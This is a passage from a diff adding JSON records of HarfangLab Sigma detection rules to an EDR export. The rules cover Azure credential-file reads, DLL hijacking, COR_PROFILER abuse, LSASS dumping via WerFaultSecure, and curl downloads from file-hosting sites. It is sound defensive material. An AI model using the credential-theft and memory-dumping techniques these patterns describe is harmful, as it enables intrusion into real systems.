'/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_md5:\n        Image: '/sbin/md5'\n\n    exclusion_az_python:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'org.python.python'\n        ProcessParentCommandLine|contains: '/opt/homebrew/bin/az '\n\n    exclusion_jq:\n        ProcessCommandLine: 'jq -r [.subscriptions[]|select(.isDefault==true)|.name][]|strings /Users/*/.azure/azureProfile.json'\n\n    exclusion_claude:\n        Image: '/opt/homebrew/Caskroom/claude-code/*/claude'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3309bac8-843b-4a14-91b2-c7af144c1be8",
+  "rule_name": "Suspicious Access to Azure Configuration File",
+  "rule_description": "Detects an attempt to read the contents of the Azure configuration file.\nAdversaries may attempt to read an Azure user's configuration file in order to gather credentials and move to cloud environments.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "331fa9c5-fe30-471e-ba82-51940fe0a2d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071261Z",
+  "creation_date": "2026-03-23T11:45:34.071263Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071267Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.ssi.gouv.fr/alerte/CERTFR-2024-ALE-003/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_anydesk_revoked_certificate.yml",
+  "content": "title: Process Executed Signed with AnyDesk Revoked Certificate\nid: 331fa9c5-fe30-471e-ba82-51940fe0a2d3\ndescription: |\n    Detects the execution of a process signed using the AnyDesk revoked certificate.\n    This certificate has been revoked after AnyDesk has confirmed that its production systems had been compromised following a cyber-attack in early 2024.\n    It is recommended to investigate the process to determine its legitimacy.\nreferences:\n    - https://cert.ssi.gouv.fr/alerte/CERTFR-2024-ALE-003/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2024/02/20\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessSignatureSignerThumbprint: '9cd1ddb78ed05282353b20cdfe8fa0a4fb6c1ece'\n\n    filter_anydesk:\n        OriginalFileName: ''\n        Description: 'AnyDesk'\n        Company: 'AnyDesk Software GmbH'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\n#level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "331fa9c5-fe30-471e-ba82-51940fe0a2d3",
+  "rule_name": "Process Executed Signed with AnyDesk Revoked Certificate",
+  "rule_description": "Detects the execution of a process signed using the AnyDesk revoked certificate.\nThis certificate has been revoked after AnyDesk has confirmed that its production systems had been compromised following a cyber-attack in early 2024.\nIt is recommended to investigate the process to determine its legitimacy.\n",
+  "rule_creation_date": "2024-02-20",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "336d6115-e9ff-4197-b4b0-9fb7e4469941",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097696Z",
+  "creation_date": "2026-03-23T11:45:34.097698Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097702Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vds.yml",
+  "content": "title: DLL Hijacking via vds.exe\nid: 336d6115-e9ff-4197-b4b0-9fb7e4469941\ndescription: |\n    Detects potential Windows DLL Hijacking via vds.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vds.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\bcd.dll'\n            - '\\OSUNINST.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "336d6115-e9ff-4197-b4b0-9fb7e4469941",
+  "rule_name": "DLL Hijacking via vds.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vds.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "337d171f-6a34-4f7a-8369-d2c7d895322e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619359Z",
+  "creation_date": "2026-03-23T11:45:34.619361Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619365Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
+    "https://redcanary.com/blog/cor_profiler-for-persistence/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler",
+    "https://attack.mitre.org/techniques/T1574/012/"
+  ],
+  "name": "t1574_012_clr_profiler_process_environement_variable_powershell.yml",
+  "content": "title: .NET CLR Profiler Environment Variable Set via PowerShell\nid: 337d171f-6a34-4f7a-8369-d2c7d895322e\ndescription: |\n    Detects a PowerShell script block setting the COR_PROFILER or COR_PROFILER_PATH environment variables, which can be used maliciously for privilege escalation.\n    COR_PROFILER and COR_PROFILER_PATH are environment variables associated with the .NET runtime profiling tools, used for legitimate debugging and optimization purposes.\n    However, attackers may exploit these variables to inject malicious payloads, leading to unintended system access levels.\n    It is recommended to investigate the PowerShell script responsible for this action.\nreferences:\n    - https://offsec.almond.consulting/UAC-bypass-dotnet.html\n    - https://redcanary.com/blog/cor_profiler-for-persistence/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler\n    - https://attack.mitre.org/techniques/T1574/012/\ndate: 2022/12/23\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.012\n    - attack.t1112\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains: '$env:COR_PROFILER'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "337d171f-6a34-4f7a-8369-d2c7d895322e",
+  "rule_name": ".NET CLR Profiler Environment Variable Set via PowerShell",
+  "rule_description": "Detects a PowerShell script block setting the COR_PROFILER or COR_PROFILER_PATH environment variables, which can be used maliciously for privilege escalation.\nCOR_PROFILER and COR_PROFILER_PATH are environment variables associated with the .NET runtime profiling tools, used for legitimate debugging and optimization purposes.\nHowever, attackers may exploit these variables to inject malicious payloads, leading to unintended system access levels.\nIt is recommended to investigate the PowerShell script responsible for this action.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1574.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "33c950a0-ccc5-4ddb-a153-b5550bf0d290",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097496Z",
+  "creation_date": "2026-03-23T11:45:34.097498Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097502Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msidb.yml",
+  "content": "title: DLL Hijacking via MsiDb.exe\nid: 33c950a0-ccc5-4ddb-a153-b5550bf0d290\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiDb.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiDb.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "33c950a0-ccc5-4ddb-a153-b5550bf0d290",
+  "rule_name": "DLL Hijacking via MsiDb.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiDb.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "33d2f606-2c1d-494f-9455-fba0a918e6eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086132Z",
+  "creation_date": "2026-03-23T11:45:34.086134Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086139Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html",
+    "https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html",
+    "https://attack.mitre.org/techniques/T1003/001/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1003_001_werfaultsecure_bitmask.yml",
+  "content": "title: Suspicious WerFaultSecure Execution\nid: 33d2f606-2c1d-494f-9455-fba0a918e6eb\ndescription: |\n    Detects the execution of WerFaultSecure.exe using a suspicious type bitmask.\n    WerFaultSecure is a Microsoft-signed binary for Protected Process error reporting.\n    This rule detects a suspicious dump type bitmask usage that has only been observed in WSASS and EDRFreeze hacktools.\n    Attackers can abuse this legitimate tool by abusing its capabilities for process memory dumping, bypassing security controls through Living off the Land techniques.\n    It is recommended to investigate the parent process to determine the legitimacy of this action and analyze the \"/pid\" argument to determine the criticity of the targeted process.\nreferences:\n    - https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html\n    - https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html\n    - https://attack.mitre.org/techniques/T1003/001/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2025/09/22\nmodified: 2025/10/13\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.WSASS\n    - classification.Windows.HackTool.EDRFreeze\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'WerFaultSecure.exe'\n        CommandLine|contains: '/type 268310' # MiniDumpWithFullMemory | MiniDumpWithHandleData | MiniDumpScanMemory | MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithTokenInformation\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "33d2f606-2c1d-494f-9455-fba0a918e6eb",
+  "rule_name": "Suspicious WerFaultSecure Execution",
+  "rule_description": "Detects the execution of WerFaultSecure.exe using a suspicious type bitmask.\nWerFaultSecure is a Microsoft-signed binary for Protected Process error reporting.\nThis rule detects a suspicious dump type bitmask usage that has only been observed in WSASS and EDRFreeze hacktools.\nAttackers can abuse this legitimate tool by abusing its capabilities for process memory dumping, bypassing security controls through Living off the Land techniques.\nIt is recommended to investigate the parent process to determine the legitimacy of this action and analyze the \"/pid\" argument to determine the criticity of the targeted process.\n",
+  "rule_creation_date": "2025-09-22",
+  "rule_modified_date": "2025-10-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "33eb8e8a-ac3d-4882-a33c-a06936e7ac1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592265Z",
+  "creation_date": "2026-03-23T11:45:34.592268Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592275Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wscript.yml",
+  "content": "title: DLL Hijacking via wscript.exe\nid: 33eb8e8a-ac3d-4882-a33c-a06936e7ac1c\ndescription: |\n    Detects potential Windows DLL Hijacking via wscript.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wscript.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "33eb8e8a-ac3d-4882-a33c-a06936e7ac1c",
+  "rule_name": "DLL Hijacking via wscript.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wscript.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "33f20b55-a6a9-47fa-8058-df707fd25325",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095386Z",
+  "creation_date": "2026-03-23T11:45:34.095388Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095392Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_curl_suspicious_link_macos.yml",
+  "content": "title: File Downloaded via cURL or wget from Suspicious URL (macOS)\nid: 33f20b55-a6a9-47fa-8058-df707fd25325\ndescription: |\n    Detects the usage of cURL or wget to download a file from public hosting services that may contain a malicious payload.\n    This technique is used by attackers to download payloads that are hosted on public websites.\n    It is recommended to perform an analysis of the downloaded file to check if the content is malicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/02/13\nmodified: 2025/09/10\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Wget\n    - classification.macOS.LOLBin.Curl\n    - classification.macOS.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith:\n            - '/wget'\n            - '/curl'\n        CommandLine|contains:\n            - 'cdn.discordapp.com'\n            - 'api.telegram.org'\n            - 'www.dropbox.com'\n            - 'api.dropboxapi.com'\n            - 'content.dropboxapi.com'\n            - 'transfer.sh'\n            - 'anonfiles.com'\n            - 'file.io'\n            - 'gofile.io'\n            - 'raw.githubusercontent.com'\n            - 'gist.githubusercontent.com'\n            - 'pastebin.com'\n            - 'mediafire.com'\n            - 'mega.nz'\n            - 'ddns.net'\n            - '.paste.ee'\n            - '.hastebin.com'\n            - '.ghostbin.co/'\n            - 'ufile.io'\n            - 'storage.googleapis.com'\n            - 'send.exploit.in'\n            - 'privatlab.net'\n            - 'privatlab.com'\n            - 'sendspace.com'\n            - 